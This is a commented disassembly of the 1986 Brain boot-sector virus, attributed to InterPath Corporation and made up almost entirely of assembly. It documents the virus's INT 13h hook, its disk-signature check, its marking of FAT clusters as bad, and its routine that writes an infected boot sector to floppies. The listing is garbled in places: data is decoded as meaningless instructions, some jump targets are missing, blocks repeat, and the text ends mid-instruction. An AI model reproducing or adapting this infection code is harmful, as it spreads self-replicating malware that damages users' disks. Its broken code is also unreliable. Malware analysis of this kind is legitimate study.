The following is a disassembled and commented version of the Pakistani Brain virus - segment one. All comments, structure inclusions and explanatory information is copyright InterPath Corporation, 1987, 1988. This document may not be distributed or copied without the express written consent of InterPath Corporation. Contact InterPath at 408 988 3832. PAGE 64,132 ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; CODE SEGMENT PUBLIC 'CODE' ; ASSUME CS:CODE,DS:CODE,ES:CODE,SS:NOTHING ; ORG 0 ; ; BPB EQU 3+8 ;JMP + OEM_NAME ; ;-----------------------------------------------------------------------; ; COPY OF BOOT SECTOR ; ;-----------------------------------------------------------------------; ; DB 6 DUP (?) ; ; L0006 DB ? ;HEAD L0007 DB ? ;SECTOR L0008 DB ? ;TRACK ; L0009 DB ? ;HEAD L000A DB ? ;SECTOR L000B DB ? ;TRACK ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; ; ORG 512 ; ; ;-----------------------------------------------------------------------; ; (BOOT SECTOR TYPE FORMAT!) ; ;-----------------------------------------------------------------------; CONTINUE: JMP CONTINUE_2 ;023C ; L0203 DB 'IBM X3.2' ;OEM NAME AND VERSION ; DW 512 ;BYTES PER SECTOR DB 2 ;SECTORS PER ALLOCATION UNIT DW 1 ;RESERVED SECTORS L0210 DB 2 ;NUMBER OF FATS DW 112 ;NUMBER OF ROOT DIR ENTRIES DW 2D0H ;SECTORS PER DISK DB 0FDH ;MEDIA ID DW 2 ;SECTORS PER FAT DW 9 ;SECTORS PER TRACK DW 2 ;NUMBER OF HEADS DW 0 ;HIDDEN SECTORS ; ;---------------------------------------; DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 2 DISK_PARM DB 0DFH,2,25H,2,12H,2AH,0FFH,50H,0F6H,0,2 ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; REBOOT: INT 19H ;REBOOT ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; CONTINUE_2: ; CLI ; XOR AX,AX ; MOV ES,AX ;ES=0 MOV SS,AX ;SS:SP = 0000:7C00 MOV SP,7C00H ; MOV DS,AX ; MOV BX,07C0H ;INITIALIZE DISK POINTER (INT 1E) MOV Word Ptr [78H],2FH ;0000:0078 = (DWORD) 07C0:002F MOV [7AH],BX ; ; MOV DS,BX ;DS = 07C0 MOV DX,[1EH] ;GET DRIVE/HEAD ;BOOT:001E ! MOV [20H],DL ;SAVE DRIVE ;BOOT:0020 ! INT 13H ;RESET JNB C_10 ; JMP ERROR_2 ;IF ERROR...'BOOT FAILURE' ; C_10: MOV SI,BPB ;SI = BPB ;BOOT:000B MOV CX,[SI] ;CX = BYTES PER SECTOR SHR CH,1 ;WORDS PER SECTOR XCHG CH,CL ; MOV [2BH],CX ;SAVE ;BOOT:002B MOV AL,[SI+5] ;AL= NUMBER OF FATS ;BOOT:0010 XOR AH,AH ; MUL Word Ptr [SI+0BH] ;TOTAL FAT SECTORS ;BOOT:0016 ADD AX,[SI+3] ;+RESERVED SECTORS ;BOOT:000E ADD AX,[SI+11H] ;+HIDDEN SECTORS ;BOOT:001C MOV [24H],AX ;SAVE IT ;BOOT:0024 MOV BX,7E00H ; CALL UI ; ; MOV BX,ES ;SAVE ES MOV AX,70H ;ES=0070H MOV ES,AX ; MOV AX,32 ;32* MUL Word Ptr [SI+6] ; ROOT DIR ENTRIES+ MOV CX,[SI] ; ADD AX,CX ; BYTES/SECTOR DEC AX ; -1 DIV CX ; /BYTES/SECTOR ADD [24H],AX ;ADD TO BYTES IN BOOT & FAT ; MOV CL,[2AH] ; MOV AX,[24H] ; CALL READ_CLUSTER ;(READ BOOT SECTOR ???) ; PUSH ES ; POP DS ; JMP 0070H:0000H ;(PASS CONTROL TO ???) ; ;-----------------------------------------------------------------------; ; HEAVY CRUNCHING HERE (CLUSTER READS ?!?!?!) ; ; ON ENTRY: AX = ? ; ES:BX = DTA ; ; CL = ? ; ; DS:SI = BPB ; ; DS:[0021] = ; ;-----------------------------------------------------------------------; READ_CLUSTER: ;02B3 PUSH BX ; PUSH AX ; ; MOV AL,CL ; MUL Byte Ptr [2BH] ; MOV [29H],AL ; POP AX ; MUL Word Ptr [2BH] ; DIV Word Ptr [SI+0DH] ;(BPB.SECTORS PER TRACK) INC DL ; MOV [28H],DL ; PUSH DX ; XOR DX,DX ; DIV Word Ptr [SI+0FH] ;(BPB.NUMBER OF HEADS) MOV [21H],DL ; MOV [26H],AX ; POP DX ; RC_10: MOV CL,[29H] ; ADD DL,CL ; MOV AX,[SI+0DH] ;(BPB.SECTORS PER TRACK) INC AX ; CMP DL,AL ; JBE RC_20 ; SUB AL,[28H] ; MOV CL,AL ; RC_20: MOV AL,CL ; MOV DX,[26H] ; MOV CL,6 ; SHL DH,CL ; OR DH,[28H] ; MOV CX,DX ; XCHG CH,CL ; MOV DX,[20H] ; ; MOV AH,2 ;READ SECTOR PUSH AX ; INT 13H ; POP AX ; JB ERROR_2 ;IF ERROR...'BOOT FAILURE' SUB [29H],AL ; JBE RC_90 ; CBW ; MUL Word Ptr [2DH] ; ADD BX,AX ; INC Byte Ptr [21H] ; MOV DL,[21H] ; CMP DL,[SI+0FH] ; MOV DL,1 ; MOV [28H],DL ; JB RC_10 ; MOV Byte Ptr [21H],0 ; INC Word Ptr [26H] ; JMP RC_10 ; ; RC_90: POP BX ; RET ; ; ;-----------------------------------------------------------------------; ; PRINT BOOT ERROR MESSAGE AND WAIT FOR A KEY ; ;-----------------------------------------------------------------------; ERROR_1: ;0339 MOV SI,01B3H ;'Non-System disk' JMP E_10 ; ; ;---------------------------------------; ERROR_2: ; MOV SI,01C5H ;'BOOT failure' E_10: CALL DISPLAY_STRING ; ; MOV SI,01D4H ;'Replace and press any key when ready' CALL DISPLAY_STRING ; ; MOV AH,0 ;WAIT FOR A KEY INT 16H ; E_20: MOV AH,1 ; THROW IT AWAY AND INT 16H ; WAIT FOR ANOTHER ONE BUT JNZ E_20 ; DONT GET IT JMP REBOOT ; ; ;-----------------------------------------------------------------------; ; DISPLAY ASCIIZ STRING ; ; ON ENTRY: DS:SI = ASCIIZ STRING ; ;-----------------------------------------------------------------------; DISPLAY_STRING: ;0357 DS_00: LODSB ;DISPLAY UNTIL NULL OR AL,AL ; JZ DS_90 ; MOV AH,0EH ; MOV BX,7 ; INT 10 ; JMP DS_00 ; DS_90: RET ;0365 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; UI: ;0366: MOV CL,01 ; CALL READ_CLUSTER ; ; PUSH SI ; MOV DI,BX ; MOV AX,ES:[BX+1C] ; XOR DX,DX ; DIV Word Ptr [SI] ; INC AL ; MOV [002A],AL ; MOV SI,019D ; MOV CX,000B ; REPZ ; CMPSB ; JNZ ERROR_1 ;'NON SYSTEM DISK' MOV AX,ES:[BX+3A] ; MOV [0022],AX ; MOV DI,BX ; ADD DI,+20 ; MOV SI,01A8 ; MOV CX,000B ; REPZ ; CMPSB ; JNZ ERROR_1 ;'NON SYSTEM DISK' POP SI ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; L039D DB 'IBMBIO COM' DB 'IBMDOS COM' DB CR,LF,'Non-System disk',0 DB CR,LF,'BOOT failure',0 DB CR,LF,'Replace and press any key when ready',0 DB 90H,90H,90H,55H,0AAH ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; L0400: JMP SHORT CONT_A ; ; DB '(c) 1986 Basit & Amjads (pvt) Ltd ',0 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; CONT_A: ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; L0A5B DB 'IBMBIO COM' DB 'IBMDOS COM' DB CR,LF,'Non-System disk',0 DB CR,LF,'BOOT failure',0 DB CR,LF,'Replace and press any key when ready',0 DB 90H,90H,90H,55H,0AAH ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; ADD AL,00 ;0425 0400 ADD [06C6],CH ;0427 002EC606 AND AX,1F02 ;042B 25021F ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; REDIRECT_13: ;042E XOR AX,AX ;GET INT 13 VECTOR MOV DS,AX ; MOV AX,[004CH] ; MOV [01B4H],AX ; (SAVE IT TO INT 6D VECTOR) MOV AX,[004EH] ; MOV [01B6H],AX ; MOV AX,0276H ;SET INT 13 VECTOR MOV [004CH],AX ; MOV AX,CS ; MOV [004EH],AX ; ; MOV CX,0004 ;RETRY = 4 XOR AX,AX ; MOV ES,AX ; L0450: PUSH CX ; MOV DH,CS:[0006] ;DH = HEAD MOV DL,00 ;DRIVE A: MOV CX,CS:[0007] ;CX = TRACK/SECTOR MOV AX,0201 ;READ 1 SECTOR MOV BX,7C00 ;ES:BX == DTA = 0000:7C00 INT 6DH ; JNB L0470 ; MOV AH,00 ;RESET INT 6DH ; POP CX ;TRY AGAIN LOOP L0450 ; INT 18H ;LOAD BASIC ; L0470: JMP 0000:7C00 ;JUMP TO BOOT LOADER ?!?! ; NOP ;0475 90 STI ;0476 FB CMP AH,02 ;0477 80FC02 JNZ L0494 ;047A 7518 CMP DL,02 ;047C 80FA02 JA L0494 ;047F 7713 CMP CH,00 ;0481 80FD00 JNZ L048B ;0484 7505 CMP DH,00 ;0486 80FE00 JZ L0497 ;0489 740C L048B: DEC Byte Ptr CS:[0225] ;048B 2EFE0E2502 JNZ L0494 ;0490 7502 JMP L0497 ;0492 EB03 L0494: JMP L053C ;0494 E9A500 L0497: MOV Byte Ptr CS:[0227],00 ;0497 2EC606270200 MOV Byte Ptr CS:[0225],04 ;049D 2EC606250204 PUSH AX ;04A3 50 PUSH BX ;04A4 53 PUSH CX ;04A5 51 PUSH DX ;04A6 52 MOV CS:[0226],DL ;04A7 2E88162602 MOV CX,0004 ;04AC B90400 PUSH CX ;04AF 51 MOV AH,00 ;04B0 B400 INT 6D ;04B2 CD6D JB ;04CB ;04B4 7215 MOV DH,00 ;04B6 B600 MOV CX,0001 ;04B8 B90100 MOV BX,06BE ;04BB BBBE06 PUSH ES ;04BE 06 MOV AX,CS ;04BF 8CC8 MOV ES,AX ;04C1 8EC0 MOV AX,0201 ;04C3 B80102 INT 6D ;04C6 CD6D POP ES ;04C8 07 JNB ;04D1 ;04C9 7306 POP CX ;04CB 59 LOOP ;04AF ;04CC E2E1 JMP ;04FF ;04CE EB2F NOP ;04D0 90 POP CX ;04D1 59 MOV AX,CS:[06C2] ;04D2 2EA1C206 CMP AX,1234 ;04D6 3D3412 JNZ ;04E3 ;04D9 7508 MOV Byte Ptr CS:[0227],01 ;04DB 2EC606270201 JMP ;0503 ;04E1 EB20 PUSH DS ;04E3 1E PUSH ES ;04E4 06 MOV AX,CS ;04E5 8CC8 MOV DS,AX ;04E7 8ED8 MOV ES,AX ;04E9 8EC0 PUSH SI ;04EB 56 CALL L0804 ;04EC E81503 JB ;04FA ;04EF 7209 MOV Byte Ptr CS:[0227],02 ;04F1 2EC606270202 CALL L06B2 ;04F7 E8B801 POP SI ;04FA 5E POP ES ;04FB 07 POP DS ;04FC 1F JNB ;0503 ;04FD 7304 MOV AH,00 ;04FF B400 INT 6D ;0501 CD6D POP DX ;0503 5A POP CX ;0504 59 POP BX ;0505 5B POP AX ;0506 58 CMP CX,+01 ;0507 83F901 JNZ L053C ;050A 7530 CMP DH,00 ;050C 80FE00 JNZ L053C ;050F 752B CMP Byte Ptr CS:[0227],01 ;0511 2E803E270201 JNZ ;052A ;0517 7511 MOV CX,CS:[06C5] ;0519 2E8B0EC506 MOV DX,CS:[06C3] ;051E 2E8B16C306 MOV DL,CS:[0226] ;0523 2E8A162602 JMP L053C ;0528 EB12 CMP Byte Ptr CS:[0227],02 ;052A 2E803E270202 JNZ L053C ;0530 750A ; MOV CX,CS:[0007] ;CX = TRACK/SECTOR MOV DH,CS:[0006] ;DH = HEAD L053C: INT 6DH ; RETF 2 ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; L0541 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; L0550: JMP CONTINUE_3 ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; L0553 DW 3 ; DB ' (c) 1986 Basit & Amjads (pvt) Ltd' ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; CONTINUE_3: ;0577 CALL READ_VERIFY ;READ VERIFY MOV AX,[06BEH] ;IF ??? == DOUBLD SIDED 9 SECTORS... CMP AX,0FFFDH ; JE L0586 ;...CONTINUE MOV AL,3 ;ELSE RETURN ??? ERROR STC ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; L0586: ;0586 MOV CX,0037 ; MOV Word Ptr [0353],0000 ; CALL ;05F8 ;058F E86600 CMP AX,0000 ;0592 3D0000 JNZ ;05A5 ;0595 750E INC Word Ptr [0353] ;0597 FF065303 CMP Word Ptr [0353],+03 ;059B 833E530303 JNZ ;05AB ;05A0 7509 JMP ;05B6 ;05A2 EB12 NOP ;05A4 90 MOV Word Ptr [0353],0000 ;05A5 C70653030000 INC CX ;05AB 41 CMP CX,0163 ;05AC 81F96301 JNZ ;058F ;05B0 75DD MOV AL,01 ;05B2 B001 STC ;05B4 F9 RET ;05B5 C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; MOV DL,03 ;05B6 B203 CALL ;05CB ;05B8 E81000 DEC CX ;05BB 49 DEC DL ;05BC FECA JNZ ;05B8 ;05BE 75F8 INC CX ;05C0 41 CALL CONVERT_1 ;CLUSTER TO TRACK/SECTOR/HEAD CALL ;062D ;05C4 E86600 MOV AL,00 ;05C7 B000 CLC ;05C9 F8 RET ;05CA C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; PUSH CX ;05CB 51 PUSH DX ;05CC 52 MOV SI,06BE ;05CD BEBE06 MOV AL,CL ;05D0 8AC1 SHR AL,1 ;05D2 D0E8 JB ;05E4 ;05D4 720E CALL FUNCTION_1 ;BX = (CX*3)/2 MOV AX,[BX+SI] ;05D9 8B00 AND AX,F000 ;05DB 2500F0 OR AX,0FF7 ;05DE 0DF70F JMP ;05EF ;05E1 EB0C NOP ;05E3 90 CALL FUNCTION_1 ;BX = (CX*3)/2 MOV AX,[BX+SI] ;05E7 8B00 AND AX,000F ;05E9 250F00 OR AX,FF70 ;05EC 0D70FF MOV [BX+SI],AX ;05EF 8900 MOV [BX+SI+0400],AX ;05F1 89800004 POP DX ;05F5 5A POP CX ;05F6 59 RET ;05F7 C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; PUSH CX ;05F8 51 MOV SI,06BE ;05F9 BEBE06 MOV AL,CL ;05FC 8AC1 SHR AL,1 ;05FE D0E8 JB L060D ;0600 720B CALL FUNCTION_1 ;BX = (CX*3)/2 MOV AX,[BX+SI] ;0605 8B00 AND AX,0FFF ;0607 25FF0F JMP L0619 ;060A EB0D ; L060D: CALL FUNCTION_1 ;BX = (CX*3)/2 MOV AX,[BX+SI] ;0610 8B00 AND AX,FFF0 ;0612 25F0FF MOV CL,04 ;0615 B104 SHR AX,CL ;0617 D3E8 L0619: POP CX ;0619 59 RET ;061A C3 ; ;-----------------------------------------------------------------------; ; BX = (CX*3)/2 ; ;-----------------------------------------------------------------------; FUNCTION_1: ;061B PUSH DX ; MOV AX,3 ; MUL CX ; SHR AX,1 ; MOV BX,AX ; POP DX ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; READ_VERIFY: ;0627 MOV AH,2 ; CALL VERIFY_SECTORS ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; WRITE_VERIFY: ;062D MOV AH,03 ; CALL VERIFY_SECTORS ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; VERIFY_SECTORS: ;0633 MOV CX,4 ;RETRY = 4 L0636: PUSH CX ; PUSH AX ; MOV AH,0 ;REST INT 6DH ; POP AX ; JB L0653 ; MOV BX,offset L06BEH ; MOV AL,4 ;4==VERIFY MOV DH,00 ;HEAD 0 MOV DL,[0226] ;DRIVE DL MOV CX,0002 ;TRACK 0/SECTOR 2 PUSH AX ; INT 6DH ; POP AX ; JNB L065C ;IF ERROR...EXIT L0653: POP CX ; LOOP L0636 ;RETRY POP AX ; POP AX ; MOV AL,2 ;BAD ADDRESS MARK ??? STC ;RETURN ERROR RET ; ; L065C: POP CX ; RET ; ; ;-----------------------------------------------------------------------; ; CONVERT CLUSTERS TO TRACK/SECTOR/HEAD ???? ; ;-----------------------------------------------------------------------; CONVERT_1: ;065E PUSH CX ; SUB CX,2 ; SHL CX,1 ;WORD PTR ADD CX,9*2 ; (SECTORS PER CYLINDER ???) MOV AX,CX ; MOV CL,9*2 ; (SECTORS PER CYLINDER ???) DIV CL ; MOV DS:[0008],AL ;AL = TRACK MOV Byte Ptr DS:[0006],0 ;INC. HEAD INC AH ;INC. SECTOR CMP AH,9 ;IF TOO BIG... JBE L0684 ; SUB AH,9 ;...START AT ZERO MOV Byte Ptr DS:[0006],1 ;INC. HEAD L0684: MOV DS:[0007],AH ; POP CX ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; ADD [BX+SI],AL ;068A 0000 ADD [BX+SI],AL ;068C 0000 ADD [BX+SI],AL ;068E 0000 ADD BP,[SI+00] ;0690 036C00 ADD AX,[BP+DI] ;0693 0303 MOV SI,010E ;0695 BE0E01 ADD [BX+SI],AL ;0698 0000 ADD AX,SP ;069A 01E0 FCOMP DWord Ptr [DI+E0D7] ;069C D89DD7E0 LAHF ;06A0 9F LEA BX,[BX+SI+8E9F] ;06A1 8D989F8E LOOPNZ ;06C7 ;06A5 E020 SUB [BP+DI+29],AH ;06A7 286329 AND [BP+SI+72],AL ;06AA 204272 POPA ;06AD 61 IMUL BP,[BP+20],E824 ;06AE 696E2024E8 FILD DWord Ptr [BX+SI] ;06B3 DB00 JB L06C1 ;06B5 720A PUSH DI ;06B7 57 CALL ;06DA ;06B8 E81F00 POP DI ;06BB 5F JB L06C1 ;06BC 7203 CALL WRITE_RBF ;WRITE ROOT BOOT FAT L06C1: RET ;06C1 C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; MOV BX,049B ;06C2 BB9B04 MOV CX,000B ; L06C8: MOV AL,[BX] ; NEG AL ; MOV [SI],AL ; INC SI ; INC BX ; LOOP L06C8 ; ; MOV AL,08 ; MOV [SI],AL ; CLC ; RET ;06D7 C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; MOV Byte Ptr [06C7],91 ;06D8 C606C70691 ADD AL,6C ;06DD 046C ADD [BP+06FE],BH ;06DF 00BEFE06 MOV [0493],DX ;06E3 89169304 MOV AX,[0491] ;06E7 A19104 SHR AX,1 ;06EA D1E8 MOV [0497],AX ;06EC A39704 SHR AX,1 ;06EF D1E8 MOV [0495],AX ;06F1 A39504 XCHG AX,CX ;06F4 91 AND CL,43 ;06F5 80E143 MOV DI,[0495] ;06F8 8B3E9504 ADD DI,01E3 ;06FC 81C7E301 MOV AL,[SI] ;0700 8A04 CMP AL,00 ;0702 3C00 JZ ;071B ;0704 7415 MOV AL,[SI+0B] ;0706 8A440B AND AL,08 ;0709 2408 CMP AL,08 ;070B 3C08 JZ ;071B ;070D 740C ADD SI,+20 ;070F 83C620 DEC Word Ptr [0491] ;0712 FF0E9104 JNZ ;0700 ;0716 75E8 STC ;0718 F9 RET ;0719 C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; : ;071A MOV CX,[BP+DI+331D] ; PUSH DS ;071E 1E XCHG AX,DI ;071F 97 ADD AL,89 ;0720 0489 XCHG AX,DI ;0722 3697 ADD AL,FA ;0724 04FA MOV AX,SS ;0726 8CD0 MOV SS:[0493],AX ;0728 A39304 MOV [0495],SP ;072B 89269504 MOV AX,CS ;072F 8CC8 MOV SS,AX ;0731 8ED0 MOV SP,[0497] ;0733 8B269704 ADD SP,+0C ;0737 83C40C MOV CL,51 ;073A B151 ADD DX,444C ;073C 81C24C44 MOV DI,2555 ;0740 BF5525 MOV CX,0C03 ;0743 B9030C REPZ ;0746 F3 CMPSW ;0747 A7 MOV AX,0B46 ;0748 B8460B MOV CX,0003 ;074B B90300 ROL AX,CL ;074E D3C0 MOV [0497],AX ;0750 A39704 MOV CX,0005 ;0753 B90500 MOV DX,0008 ;0756 BA0800 SUB Word Ptr [0497],5210 ;0759 812E97041052 PUSH [0497] ;075F FF369704 L0763: MOV AH,[BX] ;0763 8A27 INC BX ;0765 43 MOV DL,AH ;0766 8AD4 SHL DL,1 ;0768 D0E2 JB L0763 ;076A 72F7 L076C: MOV DL,[BX] ;076C 8A17 INC BX ;076E 43 MOV AL,DL ;076F 8AC2 SHL DL,1 ;0771 D0E2 JB L076C ;0773 72F7 ADD AX,1D1D ;0775 051D1D PUSH AX ;0778 50 INC Word Ptr [0497] ;0779 FF069704 JNB L0780 ;077D 7301 JMP 268B:E1E2 ;077F EAE2E18B26 ; XCHG AX,BP ;0784 95 ADD AL,A1 ;0785 04A1 XCHG AX,BX ;0787 93 ADD AL,8E ;0788 048E SAR BL,1 ;078A D0FB ADD DH,[BP+SI] ;078C 0232 CLC ;078E F8 RET ;078F C3 ; ;-----------------------------------------------------------------------; ; READ ROOT, BOOT, FIRST FAT ; ;-----------------------------------------------------------------------; READ_RBF: ;0790 MOV Byte Ptr [0490],02 ;COMMAND = READ JMP ROOT_BOOT_FAT ;DO IT ; ;-----------------------------------------------------------------------; ; WRITE ROOT, BOOT, FIRST FAT ; ;-----------------------------------------------------------------------; WRITE_RBF: ;0798 MOV Byte Ptr [0490],03 ;COMMAND = WRITE JMP ROOT_BOOT_FAT ;DO IT ; ;-----------------------------------------------------------------------; ; READ OR WRITE ROOT, BOOT, FIRST FAT ; ;-----------------------------------------------------------------------; ROOT_BOOT_FAT: ;07A0 MOV DH,0 ;HEAD = 0 MOV DL,[226H] ;DL = DRIVE MOV CX,6 ;(TRACK 0/SECTOR 6) == ENTIRE ROOT DIR MOV AH,[490H] ;AH = COMMAND MOV AL,4 ;4 SECTORS MOV BX,6BEH ;ES:BX = DTA CALL RESET_DO_IT ;GO TO DISK JB L07C9 ;IF ERROR...EXIT ; MOV CX,1 ;(TRACK 0/SECTOR 1) == BOOT & FAT1 MOV DH,1 ;HEAD 1 MOV AH,[490H] ;AH = COMMAND MOV AL,3 ;3 SECTORS ADD BX,800H ;ES:BX = DTA CALL RESET_DO_IT ;GO TO DISK L07C9: RET ; ; ;-----------------------------------------------------------------------; ; RESET DRIVE BEFORE DOING SPECIFIED FUNCTION ; ;-----------------------------------------------------------------------; RESET_DO_IT: ;07CA MOV [0493],AX ; MOV [0495],BX ;SAVE REGs MOV [0497],CX ; MOV [0499],DX ; MOV CX,0004 ;RETRY COUNT = 4 ; RDI_10: PUSH CX ; MOV AH,00 ;REST DRIVE INT 6D ; JB RDI_80 ;IF ERROR...RETRY MOV AX,[0493] ;RESTORE REGs MOV BX,[0495] ; MOV CX,[0497] ; MOV DX,[0499] ; INT 6D ;DO SPECIFIED FUNCTION JNB RDI_90 ;IF NO ERROR...EXIT RDI_80: POP CX ; LOOP RDI_10 ;RETRY STC ;RETURN ERROR RET ; ; RDI_90: POP CX ;RETURN NO ERROR RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; ADD [BX+SI],AL ;07FD 0000 ADD [BP+DI],AL ;07FF 0003 ADD [BX+DI],AL ;0801 0001 L0804: ?!?! ADD BP,AX ;0803 03E8 DEC CX ;0805 49 STD ;0806 FD JB ;085D ;0807 7254 ; MOV Word Ptr [000A],0001 ; MOV Byte Ptr [0009],00 ; MOV BX,06BE ;ES:BX = DTA ? CALL READ_SECTORS ; ; MOV BX,06BE ;BX = DTA MOV AX,[0007] ;GET SECTOR TRACK MOV [000A],AX ;SAVE SECTOR/TRACK MOV AH,[0006] ;GET HEAD MOV [0009],AH ;SAVE HEAD CALL WRITE_SECTORS ;WRITE SECTOR(S) CALL NEXT_SECTOR ;POINT TO NEXT ; MOV CX,0005 ;CX = ??? MOV BX,0200 ;BX = DTA L0837: MOV [0600],CX ;SAVE ??? CALL WRITE_SECTORS ;WRITE SECTOR(S) CALL NEXT_SECTOR ;POINT TO NEXT ADD BX,512 ;DTA += 512 MOV CX,[0600] ;??? LOOP L0837 ;LOOP 5 TIMES ??? ; MOV Byte Ptr [0009],00 ;HEAD = 0 MOV Word Ptr [000A],0001 ;TRACK/SECTOR = 0/1 MOV BX,0000 ;DTA = INFECTED BOOT SECTOR CALL WRITE_SECTORS ;WRITE INFECTED BOOT SECTOR CLC ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; READ_SECTORS: ;085E MOV Word Ptr [0602H],0201H ;READ CMD/1 SECTOR JMP DO_SECTORS ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; WRITE_SECTORS: ;0867 MOV Word Ptr [0602H],0301H ;WRITE CMD/1 SECTOR JMP DO_SECTORS ; ; ;-----------------------------------------------------------------------; ; READ OR WRITE SOME SECTORS WITH A RETRY COUNT OF 4 ; ; ; ; ON ENTRY: DS:[601H] = COMMAND ; ; DS:[602H] = SECTOR COUNT ; ; DS:[226H] = DRIVE ; ; DS:[0009] = HEAD ; ; DS:[000A] = SECTOR ; ; DS:[000B] = TRACK ; ;-----------------------------------------------------------------------; DO_SECTORS: ;0870 PUSH BX ; MOV CX,4 ;RETRY COUNT = 4 ; D1S_10: PUSH CX ; MOV DH,[9] ;HEAD = 9 MOV DL,[226H] ;DRIVE MOV CX,[10] ;TRACK/SECT MOV AX,[602H] ;COMMAND/COUNT INT 6DH ;(SAME AS INT 13) JNB D1S_80 ; ; MOV AH,00 ;RESET INT 6DH ;(SAME AS INT 13) POP CX ; LOOP D1S_10 ;TRY AGAIN POP BX ; POP BX ; STC ;RETURN ERROR RET ; ; D1S_80: POP CX ;0893 59 POP BX ;0894 5B RET ;0895 C3 ; ;-----------------------------------------------------------------------; ; INC. NEXT SECTOR ; ; ON ENTRY: DS:[0009] = HEAD ; ; DS:[000A] = SECTOR ; ; DS:[000B] = TRACK ; ;-----------------------------------------------------------------------; NEXT_SECTOR: ;0896 INC Byte Ptr [10] ;SECTOR CMP Byte Ptr [10],10 ; JNZ NS_90 ; MOV Byte Ptr [10],1 ; INC Byte Ptr [9] ;HEAD CMP Byte Ptr [9],2 ; JNZ NS_90 ; MOV Byte Ptr [9],0 ; INC Byte Ptr [11] ;TRACK NS_90: RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; DB 64 ;08BB 'dtk' JZ ;091F ; ; ;---------------------------------------; JMP CONTINUE_4 ;08FA ; DB 'IBM X3.2' ;OEM NAME AND VERSION ; DW 512 ;BYTES PER SECTOR DB 2 ;SECTORS PER ALLOCATION UNIT DW 1 ;RESERVED SECTORS DB 2 ;NUMBER OF FATS DW 112 ;NUMBER OF ROOT DIR ENTRIES DW 2D0H ;SECTORS PER DISK DB 0FDH ;MEDIA ID DW 2 ;SECTORS PER FAT DW 9 ;SECTORS PER TRACK DW 2 ;NUMBER OF HEADS DW 0 ;HIDDEN SECTORS ; ;---------------------------------------; DB 0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 002H,0DFH DB 002H,025H,002H,012H DB 02AH,0FFH,050H,0F6H DB 000H,002H, ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; INT 19H ;REBOOT ; L08FA: CLI ;08FA FA XOR AX,AX ;08FB 33C0 MOV ES,AX ;08FD 8EC0 MOV SS,AX ;08FF 8ED0 MOV SP,7C00 ;0901 BC007C MOV DS,AX ;0904 8ED8 MOV BX,07C0 ;0906 BBC007 MOV Word Ptr [0078],002F ;0909 C70678002F00 MOV [007A],BX ;090F 891E7A00 MOV DS,BX ;0913 8EDB MOV DX,[001E] ;0915 8B161E00 MOV [0020],DL ;0919 88162000 INT 13 ;GO TO DISK JNB ;0924 ;091F 7303 JMP ;09FC ;0921 E9D800 MOV SI,000B ;0924 BE0B00 MOV CX,[SI] ;0927 8B0C SHR CH,1 ;0929 D0ED XCHG CH,CL ;092B 86E9 MOV [002B],CX ;092D 890E2B00 MOV AL,[SI+05] ;0931 8A4405 XOR AH,AH ;0934 32E4 MUL Word Ptr [SI+0B] ;0936 F7640B ADD AX,[SI+03] ;0939 034403 ADD AX,[SI+11] ;093C 034411 MOV [0024],AX ;093F A32400 MOV BX,7E00 ;0942 BB007E CALL 0A24 ;0945 E8DC00 MOV BX,ES ;0948 8CC3 MOV AX,0070 ;094A B87000 MOV ES,AX ;094D 8EC0 MOV AX,0020 ;094F B82000 MUL Word Ptr [SI+06] ;0952 F76406 MOV CX,[SI] ;0955 8B0C ADD AX,CX ;0957 03C1 DEC AX ;0959 48 DIV CX ;095A F7F1 ADD [0024],AX ;095C 01062400 MOV CL,[002A] ;0960 8A0E2A00 MOV AX,[0024] ;0964 A12400 CALL ;0971 ;0967 E80700 PUSH ES ;096A 06 POP DS ;096B 1F JMP 0070:0000 ;096C EA00007000 ; ;HEAVY NUMBER CRUNCHING HERE ; PUSH BX ;0971 53 PUSH AX ;0972 50 MOV AL,CL ;0973 8AC1 MUL Byte Ptr [002B] ;0975 F6262B00 MOV [0029],AL ;0979 A22900 POP AX ;097C 58 MUL Word Ptr [002B] ;097D F7262B00 DIV Word Ptr [SI+0D] ;0981 F7740D INC DL ;0984 FEC2 MOV [0028],DL ;0986 88162800 PUSH DX ;098A 52 XOR DX,DX ;098B 33D2 DIV Word 